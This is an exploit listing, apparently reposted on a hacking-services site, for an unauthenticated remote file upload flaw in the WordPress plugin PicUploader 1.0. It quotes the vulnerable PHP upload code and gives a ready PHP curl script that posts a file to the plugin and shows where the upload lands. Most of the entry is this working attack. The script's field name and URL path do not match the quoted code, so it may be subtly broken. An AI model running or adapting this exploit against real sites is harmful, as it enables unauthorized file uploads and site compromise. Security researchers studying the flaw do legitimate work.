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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
* Exploit Title: Wordpress Plugin PicUploader 1.0 - Remote File Upload
* Google Dork: N/A
* Date: 2020.03.22
* Exploit Author: Milad Karimi
* Vendor Homepage: https://github.com/xiebruce/PicUploader
* Software Link: https://github.com/xiebruce/PicUploader
* Category : webapps
* Version: 1.0
* Tested on: windows 10 , firefox
* CVE : N/A

Vulnerable Source:
    88: move_uploaded_file move_uploaded_file($tmp_name, $dest))
    86: foreach($files['tmp_name'] as $key=>$tmp_name)
    80: $files = $_FILES['file']){
    72: $_FILES['file'] = $_FILES[$plugin];  // if(isset($_FILES)), 
    87: $dest = $tmpDir . '/' . $files['name'][$key]; 
    81: $tmpDir = APP_PATH . '/.tmp'; 
    24: define('APP_PATH', strtr(__DIR__, '\\', '/'));  // define() 
    80: $files = $_FILES['file']){
    72: $_FILES['file'] = $_FILES[$plugin];  // if(isset($_FILES)), 
    80: if(isset($_FILES['file']) && $files = $_FILES['file'])
    84: if(is_array($files['tmp_name']))

Exploit:
<?php
$shahab="file.jpg";
$ch = curl_init("http://localhost/wordpress/wp-content/pluginsPicUploader-master/index.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('zip'=>"@$shahab"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
print "$result";
?>

Location File:
http://localhost/wordpress/wp-content/plugins/PicUploader/file.jpg